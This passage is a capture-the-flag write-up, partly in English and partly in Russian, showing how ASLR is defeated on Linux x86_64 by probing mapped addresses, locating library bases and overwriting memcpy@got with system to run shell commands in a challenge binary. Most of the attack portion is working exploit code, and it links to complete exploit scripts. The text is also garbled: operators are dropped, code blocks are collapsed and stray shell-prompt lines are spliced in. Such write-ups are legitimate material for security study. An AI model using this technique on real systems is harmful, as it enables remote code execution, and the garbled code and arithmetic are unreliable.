isMapped = False
j = 0xff
while isMapped == False:
    leakAddr = start + j*step
    isMapped = (isAddrMapped(leakAddr, 1000 + j))
    j -= 1

At this point, we have leakAddr which is a mapped address like this: 0x7fXX00000000, in this case, leakAddr = 0x7fe300000000.

Now, if we want to follow the saelo technique, we should do a binary search of the range 0x7fXX00000000 - 0x7fXXffffffff, in order to find lower and upper bounds, the problem is that there are some holes in that range, so the binary search fails a lot of times.

You can check yourself with this script:``` RANGE SIZE

0x00007f7544000000 - 0x00007f763c000000 0xf8000000 SMALL GAP 0x00caa000 0x00007f763ccaa000 - 0x00007f763e358000 0x016ae000

root@kitploit:~
That small gap between 0x00007f763c000000 and 0x00007f763ccaa000 screws up the binary search, of course it is still doable, but i found an easier way.

### Observation

We want to get the last mapped address, because that's where libraries are mapped.

For example, given those mappings for the libraries:```
7fe3d6a1e000-7fe3d6a1f000 r--p 00000000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a1f000-7fe3d6a20000 r-xp 00001000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a20000-7fe3d6a21000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a21000-7fe3d6a22000 r--p 00002000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a22000-7fe3d6a23000 rw-p 00003000 fe:01 1445947                    /challenge/libkylezip.so
7fe3d6a23000-7fe3d6a25000 rw-p 00000000 00:00 0
7fe3d6a25000-7fe3d6a26000 r--p 00000000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a26000-7fe3d6a4d000 r-xp 00001000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a4d000-7fe3d6a57000 r--p 00028000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a57000-7fe3d6a59000 r--p 00031000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so
7fe3d6a59000-7fe3d6a5b000 rw-p 00033000 fe:01 2761539                    /lib/x86_64-linux-gnu/ld-2.33.so

Мы можем найти адрес 7fe3d6a5b000 - 0x1000 с помощью этого трюка:

адресisAddressMapped?
0x7fe3f0000000Нет
0x7fe3e0000000Нет
0x7fe3d0000000Да
0x7fe3df000000Нет
0x7fe3de000000Нет
0x7fe3dd000000Нет
0x7fe3dc000000Нет
0x7fe3db000000Нет
0x7fe3da000000Нет
0x7fe3d9000000Нет
0x7fe3d8000000Нет
0x7fe3d7000000Нет
0x7fe3d6000000Да
0x7fe3d6f00000Нет
0x7fe3d6e00000Нет
0x7fe3d6d00000Нет
0x7fe3d6c00000Нет
0x7fe3d6b00000Нет
0x7fe3d6a00000Да
0x7fe3d6af0000Нет
0x7fe3d6ae0000Нет
0x7fe3d6ad0000Нет
0x7fe3d6ac0000Нет
0x7fe3d6ab0000Нет
0x7fe3d6aa0000Нет
0x7fe3d6a90000Нет
0x7fe3d6a80000Нет
0x7fe3d6a70000Нет
0x7fe3d6a60000Нет
0x7fe3d6a50000Да
0x7fe3d6a5f000Нет
0x7fe3d6a5e000Нет
0x7fe3d6a5d000Нет
0x7fe3d6a5c000Нет
0x7fe3d6a5b000Нет
0x7fe3d6a5a000Да

lastMappedPage = 0x7fe3d6a5a000

Мы перебираем по полбайта за раз, что в худшем случае даёт 165 = 80 запросов.```py def linearFindLargest(base, increment, idstart): for i in range(0, 16)[::-1]: print (f"{base + incrementi:#x}", end='\t|\t') if isAddrMapped(base + incrementi, idstart+i): print ('Yes') return iincrement print ('No') raise Exception("linearFindLargest should not fail")

Find upper bound, we can't do a binary search because there are some holes which

screw things up

lastMappedPage = leakAddr lastMappedPage += linearFindLargest(lastMappedPage, 0x10000000, 40000) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000000, 40100) lastMappedPage += linearFindLargest(lastMappedPage, 0x100000, 40200) lastMappedPage += linearFindLargest(lastMappedPage, 0x10000, 40300) lastMappedPage += linearFindLargest(lastMappedPage, 0x1000, 40400) print (f"{lastMappedPage = :#x}")

root@kitploit:~
## 4.6 Эксплуатация

Наконец, мы знаем всё необходимое о сопоставлениях памяти, теперь осталось лишь превратить примитив «запись куда угодно» в выполнение кода.

Чтобы добиться выполнения кода, я перезаписал запись memcpy@got в libkyle.so на system@libc.

### Получение базы libkyle
К счастью для нас, база libc и база libkyle.so находятся на постоянном смещении от lastMappedPage; я не знал, что это так, поэтому написал еггхантер, который ищет `\x7fELF` \(заголовок исполняемых файлов ELF\), что в итоге оказалось бесполезным.```py
    # Scan backwards looking for b'\x7fELF'
    i = 0
    numElf = 0

    while numElf != 2:
        theAddr = lastMappedPage-0x1000*i
        hdr = readFromAddr(theAddr, 4, 40500+i)
        print(f"{i:02d}) Elf in {theAddr:#x}? {hdr.hex()}")
        if hdr == b'\x7fELF':
            numElf += 1
            print (f"found elf at {theAddr:#x}")

        if i > 70:
            print ("Exploit failed, upper bound address was wrong")
            exit(1)

        i += 1

Перезаписать memcpy@got из libkyle и получить RCE

К счастью, перезаписи memcpy@got на system было достаточно, чтобы получить флаг и заполучить этот сочный баунти :)```py # exp is a CompressedFile which: # - writes libc.system to memcpy_got # - calls memcpy(cmd, 0, 0) -> system(cmd) cmd = b"ls;cat flag.txt;\x00" exp = CompressedFile(24)

root@kitploit:~
exp.seek((memcpy_got - OUT_ADDR)&M64)
# out=memcpy_got
for b in p64(libc.symbols['system']):
    exp.write(bytes([b]))
# out=memcpy_got+8
# memcpy(out, out-off, size)
# system(out)

in_addr_off = len(exp.content)
exp.content += cmd
exp.seek((IN_ADDR + in_addr_off - (memcpy_got + 8))&M64)
exp.memcpy(0, 0) # system(cmd)

uploadFile(exp.content, 123001)
# profit
getFile(123001)
root@kitploit:~
## 4.7 Флаг!

Вы можете найти эксплойт [здесь](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/x.py).

<p align="center"><img src="https://assets.kitploit.com/production/public/readmes/48660/fbf98cc42c41c4487283d3545ab1f451ddcac7f1c6210e3d211ff5e04f63fef0.png"></p><br/>

Также есть 100% надёжная версия эксплойта [здесь](https://github.com/nick0ve/how-to-bypass-aslr-on-linux-x86_64/blob/main/resources/reliable_exploit.py).

## 5. Заключение

Надеюсь, вам понравился разбор; если что-то было недостаточно понятно, не стесняйтесь связаться со мной [@nick0ve](https://twitter.com/nick0ve) :)
Скачать инструмент